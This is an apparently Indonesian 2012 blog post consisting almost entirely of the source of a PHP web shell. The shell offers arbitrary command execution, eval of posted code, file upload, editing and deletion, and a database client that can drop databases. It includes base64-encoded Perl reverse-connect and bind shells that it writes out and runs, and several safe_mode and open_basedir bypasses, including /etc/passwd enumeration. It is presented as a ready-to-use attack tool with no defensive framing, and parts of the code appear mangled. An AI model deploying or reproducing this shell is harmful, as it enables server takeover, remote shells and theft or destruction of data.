Selasa, 28 Agustus 2012

Simple Shell PHP

19.25

Simple Shell PHP

<?php
session_start
();
if(
strtolower(substr(PHP_OS03)) == "win"){$slash="\\";
}else{
$slash="/";
}
if (
$_REQUEST['address']){
if(
is_readable($_REQUEST['address'])){chdir($_REQUEST['address']);}}
$me=$_SERVER['PHP_SELF'];$formp="<form method=post action='".$me."'>";$formg="<form method=get action='".$me."'>";$nowaddress='<input type=hidden name=address value="'.getcwd().'">';
if (isset(
$_FILES["filee"]) and ! $_FILES["filee"]["error"]) {
   
move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"]);
   
$ifupload="Uploaded :D ";
}
if (
$_REQUEST['chmode'] && $_REQUEST['chmodenum']){chmod($_POST['chmode'],"0".$_POST['chmodenum']);
}
$head='<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>2012Shell</title>

</head><body  topmargin="0" leftmargin="0" rightmargin="0">
<body background="http://s.ytimg.com/yt/imgbin/www-refreshbg-vflC3wnbM.png"><body  text="#000000"><body link="#ff0000"><body hover="#ffffff"><body visite="#000"><div align="center">

&nbsp;<table border="1" width="1000" height="20" bordercolor="#000000"  style="border-collapse: collapse; border-style: solid; border-width: 1px">
<tr>
<td height="28" width="996">
<p align="center" visite="#080000"><font face="Tahoma" style="font-size: 9pt"><font text="#ff0000"><span lang="en-us"><a href="?do=filemanger">File
Manger</a> -- <a href="?do=cmd">Command Execute</a> -- <a href="?do=bc">Back Connect</a> --
<a href="?do=bypasscmd">BypasS Command eXecute(SF-DF)</a> --
<a href="?do=bypassdir">BypasS Directory</a> -- <a href="?do=eval&address='
.getcwd().'">
Eval</a> -- <a href="?do=db">Data Base</a> -- <a href="?do=info">
Server Information</a></span></font></td></tr></table></div>
<div align="center">
<table id="table2" style="border-collapse: collapse; border-style:
solid;" width="1000" bgcolor="#fff" border="1" bordercolor="#080000"
cellpadding="0" link="#ff0000" font-color="#080000><tbody><tr><td><div align="center"><table id="table3" style="border-style:dashed; border-width:1px; margin-top: 20px; margin-bottom: 20px;
border-collapse: collapse" width="950" border="1" bordercolor="#080000"
 height="620" bordercolorlight="#080000" bordercolordark="#080000"><tbody><tr>
<td style="border: #080000 1px solid rgb(198, 198, 198);"
width="950" bgcolor="#fff" height="590" valign="top" link="#ff0000" hover="#ffffff">'
;$end='<p align="center">&nbsp;</td></tr></tbody></table></div></td></tr><tr><td bgcolor="#000" link="#ff0000" font-color="#ffffff"><p style="margin-top: 0pt; margin-bottom: 0pt" align="center"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt">by Ying <br><a href="http://facebook.com/index.ao" target="_blank><font size=1>Ying Zuck</a></font></span></td></tr></tbody></table></div></body></html>';$deny=$head."<p align='center'> <b>Ya Allah!<br> Permission Denied".$end;
if (
$_GET['do']=="edit" && $_GET['filename']!="dir"){
if(
is_readable($_GET['address'].$_GET['filename'])){$opedit=fopen($_GET['address'].$_GET['filename'],"r");
while(!
feof($opedit))$data.=fread($opedit,9999);fclose($opedit);
echo 
$head.$formp.$nowaddress.'<p align="center">File Name : '.$_GET['address'].$_GET['filename'].'<br><textarea rows="19" name="fedit" cols="87">'.htmlspecialchars("$data"ENT_QUOTES).'</textarea><br><input value="'.$_GET['filename'].'" name=namefe><br><input type=submit value="  Save  "></form></p>'.$end;exit;
}else{echo 
$deny;exit;}}
function 
sizee($size)
{
 if(
$size >= 1073741824) {$size = @round($size 1073741824 100) / 100 " GB";}
 elseif(
$size >= 1048576) {$size = @round($size 1048576 100) / 100 " MB";}
 elseif(
$size >= 1024) {$size = @round($size 1024 100) / 100 " KB";}
 else {
$size $size " B";}
 return 
$size;
}
function 
deleteDirectory($dir) {
if (!
file_exists($dir)) return true;
if (!
is_dir($dir) || is_link($dir)) return unlink($dir);
foreach (
scandir($dir) as $item) {
if (
$item == '.' || $item == '..') continue;
if (!
deleteDirectory($dir "/" $item)) {chmod($dir "/" $item0777);
if (!
deleteDirectory($dir "/" $item)) return false;
};}return 
rmdir($dir);}
if(
$_GET['do']=="rename"){
echo 
$head.$formp.$nowaddress.'<p align="center"><input value='.$_GET['filename'].'><input type=hidden name=addressren value='.$_GET['address'].$_GET['filename'].'> To <input name=nameren><br><input type=submit value="  Save  "></form></p>'.$end;exit;
}
if (
$_REQUEST['cdirname']){
if(
is_writable($_REQUEST['address'])){mkdir($_REQUEST['address'].$slash.$_REQUEST['cdirname'],"0777");}else{echo $deny;exit;}}
function 
bcn($ipbc,$pbc){$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow=="
;$opbc=fopen("bcc.pl","w");fwrite($opbc,base64_decode($bcperl));fclose($opbc);system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function 
wbp($wb){$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g"
;$opwb=fopen("wbp.pl","w");fwrite($opwb,base64_decode($wbp));fclose($opwb);
echo 
getcwd();system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function 
lbp($wb){$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g"
;$oplb=fopen("lbp.pl","w");fwrite($oplb,base64_decode($lbp));fclose($oplb);system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}

if(
$_REQUEST['portbw']){wbp($_REQUEST['portbw']);

}if(
$_REQUEST['portbl']){lbp($_REQUEST['portbl']);
}
if(
$_REQUEST['ipcb'] && $_REQUEST['portbc']){bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);

}

if(
$_REQUEST['do']=="bc"){
echo 
$head.$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Back Connect >>>>>><br>Ip Address : <input name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input name=portbc value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Windows Bind Port >>>>>><br>Port : <input name=portbw value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Linux Bind Port >>>>>><br>Port : <input name=portbl value=5555><br><input type=submit value=Connect></form>".$end;exit;

}

if (
$_REQUEST['copyname'] && $_REQUEST['cpyto']){
if(
is_writable($_REQUEST['cpyto'])){
copy($_REQUEST['address'].$slash.$_REQUEST['copyname'],$_REQUEST['cpyto']);
}else{echo 
$deny;exit;}}
if(
$_REQUEST['cfilename']){

echo 
$head.$formp.$nowaddress.'<p align="center"><b>Create File</b><br><textarea rows="19" name="nf4cs" cols="87"></textarea><br><input value="'.$_REQUEST['cfilename'].'" name=nf4c><br><input type=submit value="  Create  "></form>'.$end;exit;
}

if(
$_REQUEST['nf4c'] && $_REQUEST['nf4cs']){
if(
is_writable($_REQUEST['address'])){
$ofile4c=fopen($_REQUEST['address'].$slash.$_REQUEST['nf4c'],"w");fwrite($ofile4c,$_REQUEST['nf4cs']);fclose($ofile4c);
}else{echo 
$deny;exit;}}

function 
sqlclienT(){
global 
$t,$errorbox,$et,$hcwd;
if(!empty(
$_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];$_SESSION[server]=$_REQUEST['serveR'];$_SESSION[type]=$_REQUEST['typE'];$_SESSION[pass]=$_REQUEST['pasS'];$_SESSION[user]=$_REQUEST['useR'];

}

if (isset (
$_GET[select_db])){
    
$getdb=$_GET[select_db];
    
$_SESSION[db]=$getdb;
    
$query="SHOW TABLES";
    
$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
}
elseif (isset (
$_GET[select_tbl])){
    
$tbl=$_GET[select_tbl];
    
$_SESSION[tbl]=$tbl;
    
$query="SELECT * FROM `$tbl`";
    
$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
}
elseif (isset (
$_GET[drop_db])){
    
$getdb=$_GET[drop_db];
    
$_SESSION[db]=$getdb;
    
$query="DROP DATABASE `$getdb`";
    
querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'',$query);
    
$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'','SHOW DATABASES');
}
elseif (isset (
$_GET[drop_tbl])){
    
$getbl=$_GET[drop_tbl];
    
$query="DROP TABLE `$getbl`";
    
querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
    
$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],'SHOW TABLES');
}
elseif (isset (
$_GET[drop_row])){
    
$getrow=$_GET[drop_row];
    
$getclm=$_GET[clm];
    
$query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'";
    
$tbl=$_SESSION[tbl];
    
querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
    
$res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],"SELECT * FROM `$tbl`");
}
else
    
$res=querY($type,$server,$user,$pass,$db,$query);

if(
$res){$res=htmlspecialchars($res);$row=array ();$title=explode('[+][+][+]',$res);$trow=explode('[-][-][-]',$title[1]);$row=explode('|+|+|+|+|+|',$title[0]);$data=array();$field=$trow[count($trow)-2];
if (
strstr($trow[0],'Database')!='')
    
$obj='db';
elseif (
substr($trow[0],0,6)=='Tables')
    
$obj='tbl';
else
    
$obj='row';$i=0;
foreach (
$row as $a){
if(
$a!='')$data[$i++]=explode('|-|-|-|-|-|',$a);
}

echo 
"<table border=1 bordercolor='#C6C6C6' cellpadding='2' bgcolor='EAEAEA' width='100%' style='border-collapse: collapse'><tr>";
foreach (
$trow as $ti)
echo 
"<td bgcolor='F2F2F2'>$ti</td>";
echo 
"</tr>";$j=0;
while (
$data[$j]){
    echo 
"<tr>";
    foreach (
$data[$j++] as $dr){
        echo 
"<td>";
        if(
$obj!='row') echo "<a href='$_SERVER[PHP_SELF]?do=db&select_$obj=$dr'>";
        echo 
$dr;
        if(
$obj!='row') echo "</a>";
        echo 
"</td>";
    }
    echo 
"<td><a href='$_SERVER[PHP_SELF]?do=db&drop_$obj=$dr";
    if(
$obj=='row')
        echo 
"&clm=$field";
    echo 
"'>Drop</a></td></tr>";
}
echo 
"</table><br>";

}

if(empty(
$_REQUEST['typE']))$_REQUEST['typE']='';
echo 
"<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'><table border='1' width='400' style='border-collapse: collapse' id='table1' bordercolor='#C6C6C6' cellpadding='2'><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Connect to Database</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Type:</font></td><td width='250' bgcolor='#EAEAEA'><select name=typE><option valut=MySQL  onClick='document.client.serveR.disabled = false;' ";
if (
$_REQUEST['typE']=='MySQL')echo 'selected';
echo 
">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";
if (
$_REQUEST['typE']=='MSSQL')echo 'selected';
echo 
">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";
if (
$_REQUEST['typE']=='Oracle')echo 'selected';
echo 
">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";
if (
$_REQUEST['typE']=='PostgreSQL')echo 'selected';
echo 
">PostgreSQL</option><option valut=DB2 onClick='document.client.serveR.disabled = false;' ";
if (
$_REQUEST['typE']=='DB2')echo 'selected';
echo 
">IBM DB2</option></select></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Server Address:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
if (!empty(
$_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost';
echo 
"' name=serveR size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Username:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text name=useR value='";
if (!empty(
$_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root';
echo 
"' size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Password:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
if (isset(
$_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123';
echo 
"' name=pasS size=35></td></tr><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Submit a Query</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Name:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
if (!empty(
$_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);
echo 
"' name=dB size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Query:</font></td><td width='250' bgcolor='#EAEAEA'><textarea name=querY rows=5 cols=27>";
if (!empty(
$_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES';
echo 
"</textarea></td></tr><tr><td width='400' colspan='2' bgcolor='#EAEAEA'>$hcwd<input type=submit value='Submit' style='float: right'></td></tr></table></form>$et</center>";
}

function 
querY($type,$host,$user,$pass,$db='',$query){$res='';
switch(
$type){
case 
'MySQL':
if(!
function_exists('mysql_connect'))return 0;$link=mysql_connect($host,$user,$pass);
if(
$link){
if(!empty(
$db))mysql_select_db($db,$link);$result=mysql_query($query,$link);
if (
$result!=1){
while(
$data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';$res.='[+][+][+]';
for(
$i=0;$i<mysql_num_fields($result);$i++)$res.=mysql_field_name($result,$i).'[-][-][-]';
}
mysql_close($link);
return 
$res;
}
break;
case 
'MSSQL':
if(!
function_exists('mssql_connect'))return 0;$link=mssql_connect($host,$user,$pass);
if(
$link){
if(!empty(
$db))mssql_select_db($db,$link);$result=mssql_query($query,$link);
while(
$data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';$res.='[+][+][+]';
for(
$i=0;$i<mssql_num_fields($result);$i++)$res.=mssql_field_name($result,$i).'[-][-][-]';mssql_close($link);
return 
$res;
}
break;
case 
'Oracle':
if(!
function_exists('ocilogon'))return 0;$link=ocilogon($user,$pass,$db);
if(
$link){$stm=ociparse($link,$query);ociexecute($stm,OCI_DEFAULT);
while(
$data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';$res.='[+][+][+]';
for(
$i=0;$i<oci_num_fields($stm);$i++)$res.=oci_field_name($stm,$i).'[-][-][-]';
return 
$res;
}
break;
case 
'PostgreSQL':
if(!
function_exists('pg_connect'))return 0;$link=pg_connect("host=$host dbname=$db user=$user password=$pass");
if(
$link){$result=pg_query($link,$query);
while(
$data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';$res.='[+][+][+]';
for(
$i=0;$i<pg_num_fields($result);$i++)$res.=pg_field_name($result,$i).'[-][-][-]';pg_close($link);
return 
$res;
}
break;
case 
'DB2':
if(!
function_exists('db2_connect'))return 0;$link=db2_connect($db,$user,$pass);
if(
$link){$result=db2_exec($link,$query);
while(
$data=db2_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';$res.='[+][+][+]';
for(
$i=0;$i<db2_num_fields($result);$i++)$res.=db2_field_name($result,$i).'[-][-][-]';db2_close($link);
return 
$res;
}
break;
}
return 
0;
}
function 
bywsym($file){
if(!
function_exists('symlink')){echo "Function Symlink Not Exist";}

if(!
is_writable("."))
    die(
"not writable directory");$level=0;
for(
$as=0;$as<$fakedep;$as++){
    if(!
file_exists($fakedir))
        
mkdir($fakedir);
    
chdir($fakedir);
}
while(
1<$as--) chdir("..");$hardstyle explode("/"$file);
for(
$a=0;$a<count($hardstyle);$a++){
    if(!empty(
$hardstyle[$a])){
        if(!
file_exists($hardstyle[$a]))
            
mkdir($hardstyle[$a]);
        
chdir($hardstyle[$a]);
        
$as++;
}}
$as++;
while(
$as--)
    
chdir("..");
@
rmdir("fakesymlink");
@
unlink("fakesymlink");
@
symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
while(
1)
    if(
true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file"symlink".$num))) break;
    else 
$num++;
@
unlink("fakesymlink");mkdir("fakesymlink");
}
function 
bypcu($file){$level=0;

if(!
file_exists("file:"))
    
mkdir("file:");chdir("file:");$level++;
$hardstyle explode("/"$file);

for(
$a=0;$a<count($hardstyle);$a++){
    if(!empty(
$hardstyle[$a])){
        if(!
file_exists($hardstyle[$a]))
            
mkdir($hardstyle[$a]);
        
chdir($hardstyle[$a]);
        
$level++;
    }
}

while(
$level--) chdir("..");
$ch curl_init();
curl_setopt($chCURLOPT_URL"file:file:///".$file);

echo 
'<FONT COLOR="RED"> <textarea rows="40" cols="120">';

if(
FALSE==curl_exec($ch))
    die(
'>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');

echo 
' </textarea> </FONT>';
curl_close($ch);
}
if (
$_REQUEST['bypcu']){bypcu($_REQUEST['bypcu']);
}
if(
$_REQUEST['do']=="bypasscmd"){
if(
$_POST['bycw']){
echo 
$_POST['bycw'];$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll');
            
$exec $wsh->exec ("cm"."d.e"."xe /c ".$_POST['bycw']."");
            
$stdout $exec->StdOut();
            
$stcom $stdout->ReadAll();}

echo 
$head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);} echo $stcom.'</textarea><hr><center>Bypass Safe_Mode And Disable_Functions In Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'<input type=hidden value="bypasscmd" name=do>Command </font></td><td width="750"><input name=bycw size=50><input type=submit value ="eXecute"></form></td></tr></table>Bypass Safe_Mode Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Command </font></td><td width="750"><input name=byws size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypasscmd"></form></td></tr></table>'.$end;exit;;
}
if(
$_REQUEST['do']=="bypassdir"){
if(
$_POST['byoc']){
if(
copy("compress.zlib://".$_POST['byoc'], getcwd()."/"."peji.txt")){$bopens="Bypass Succesfull Plz Read File Peji.txt In This Folder";
}else{
$bopens="Can Not Bypass This";}
}
if(
$_POST['byfc']){curl_init("file:///".$_POST['byfc']."\x00/../../../../../../../../../../../../".__FILE__);$debfc=curl_exec($ch);
}
if(
$_POST['byetc']){
for(
$bye=0;$bye<40000;$bye++){   //cat /etc/passwd$sbep =$sbepposix_getpwuid($bye);
}}
if(
$_POST['byfc9']){
echo 
"not sucsfull";
}
if(
$_REQUEST['bysyml']){$file=$_REQUEST['bysyml'];bywsym($file);
}
echo 
$head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);}if(isset($sbep)){for($fbe=0;$fbe<count($sbep);$fbe++){echo $sbep[$fbe];}} if(isset($debfc)){var_dump($debfc);} echo $bopens.'</textarea><hr><center>Bypass Safe_Mode And Open_basedir With Bug Copy(Zlib) Worked In 4.4.2 .. 5.1.2<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right">'.$formp.'<input type=hidden value="bypassdir" name=do><font face="Tahoma" style="font-size: 10pt; font-weight:700">Address File </font></td><td width="750"><input name=byoc size=50 ><input type=submit value ="read"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.4.2 and 5.1.4<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.X ... 5.2.9<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc9 size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass /Etc/Passwd<br>'.$formp.'<input type=submit value ="Read Passwd"><input type=hidden name=byetc value="lol"><input type=hidden name=do value="bypassdir"></form><hr>Bypass With ini_restore'.$formp.'<input type=submit value ="Read File"><input name=rfili value="Pejijon" type=hidden><input type=hidden name=do value="bypassdir"></form><hr>Bypass With Symlink Worked In 5.x.x 5.2.11 With Bug Symlink<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bysyml size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"><input name=rfili value="Pejijon" type=hidden></form></td></tr></table><hr>'.$formp.'Bypass Safe And Open_basedir With Bug Curl Worked In 4.x.x ... 5.2.9<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bypcu size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"></form></td></tr></table>'.$end;exit;;

}
if(
$_POST['nameren'] && $_POST['addressren']){
if(
is_writable($_REQUEST['addressren'])){
rename($_POST['addressren'],$_POST['nameren']);}else{echo $deny;exit;}
}
if(
$_GET['do']=="delete"){

if (
$_GET['type']=="dir"){
if(
is_writable($_REQUEST['address'])){$dir=$_GET['address'].$_GET['filename'];deleteDirectory($dir);
}elseif(
$_GET['type']=="file"){
if(
is_writable($_GET['address'].$_GET['filename'])){
unlink($_GET['address'].$_GET['filename']);}else{echo $deny;exit;}
}
}}
if(
$_POST['fedit'] && $_POST['namefe']){
if(
is_writable($_REQUEST['address'])){
$opensave=fopen($_POST['address'].$slash.$_POST['namefe'],"w");
echo 
bazam;fwrite($opensave,$_POST['fedit']);fclose($opensave);}else{echo $deny;exit;}
}
if (
$_POST['evalsource']){

eval(
$_POST['evalsource']);
}
if(
$_GET['do']=="eval"){
echo 
$head.$formp.$nowaddress.'<p align="center"><textarea rows="19" name="evalsource" cols="87"></textarea><br><input type=submit value="  eXecute  "></form></p>'.$end;exit;
}
if(
$_GET['do']=="info"){
if(
ini_get('safe_mode')){$safe_modes="On";
}else{
$safe_modes="Off";
}
if(
ini_get('disable_functions')){$disablef=ini_get('disable_functions');
}else{
$disablef="All Functions Enable";
}
if(
ini_get('register_globals')){$registerg="Enable";
}else{
$registerg="disable";
}
if(
extension_loaded('curl')){$curls="Enable";
}else{
$curls="disable";
}
if(@
function_exists('mysql_connect')){$db_on "Mysql : On";
};
if(@
function_exists('mssql_connect')){$db_on "Mssql : On";
};
if(@
function_exists('pg_connect')){$db_on "PostgreSQL : On";
};if(@
function_exists('ocilogon')){$db_on "Oracle : On";
};

echo 
$head."<font face='Tahoma' size='2'>Operating System : ".php_uname()."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Disable_Functions : ".$disablef."<br>Safe_Mode : ".$safe_modes."<br>Openbase_dir : ".ini_get('openbase_dir')."<br>Php Version : ".phpversion()."<br>Free Space : ".sizee(disk_free_space("/"))."<br>Total Space : ".sizee(disk_total_space("/"))."<br>Register_Globals : ".$registerg."<br>Curl : ".$curls."<br>Database ".$db_on."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Admin Server : ".$_SERVER['SERVER_ADMIN'].$end;
exit;
}
if (
$_GET['do']=="cmd"){
echo 
$head.'
<form method=get action="'
.$me.'">
<p align="center">
<textarea rows="19" name="S1" cols="87">'
;if (strlen($_GET['command'])>&& $_GET['execmethod']!="popen"){
echo 
$_GET['execmethod']($_GET['command']);}
if (
strlen($_GET['command'])>&& $_GET['execmethod']=="popen"){popen($_GET['command'],"r");}

echo
'</textarea></p><p align="center">
<input type=hidden name="do" size="50" value="cmd"> <input type="text" name="command" size="50"><select name=execmethod>
  <option value="system">System</option>  <option value="exec">Exec</option>  <option value="passthru">Passthru</option><option value="popen">popen</option>
</select><input type="submit" value="eXecute">
</p></form>'
.$end;exit;}
if(
$_GET['do']=="db"){
echo 
$head;sqlclienT();echo $end;
exit;
}
if(
$_REQUEST['file2ch'] && $_REQUEST['chmodnow']){$chmodnum2=$_REQUEST['chmodnow'];chmod($_REQUEST['file2ch'],"0".$chmodnum2);
}
if(
$_GET['do']=="chmod"){
echo 
$head.$formg.$nowaddress."<p align=center><b>Chmod</b><br><input size=50 name=file2ch value='".$_REQUEST['address'].$_REQUEST['filename']."'> To  <input name=chmodnow size=1 value=777><br><input type=submit value=Set></form>".$end;exit;

}
if(
$_GET['do']=="edit"){
if(
$_GET['filename']=="dir"){
if(
is_readable($_GET['address'].$_GET['filew'])){chdir($_GET['address'].$_GET['filew']);}else{echo $deny;exit;}

}}
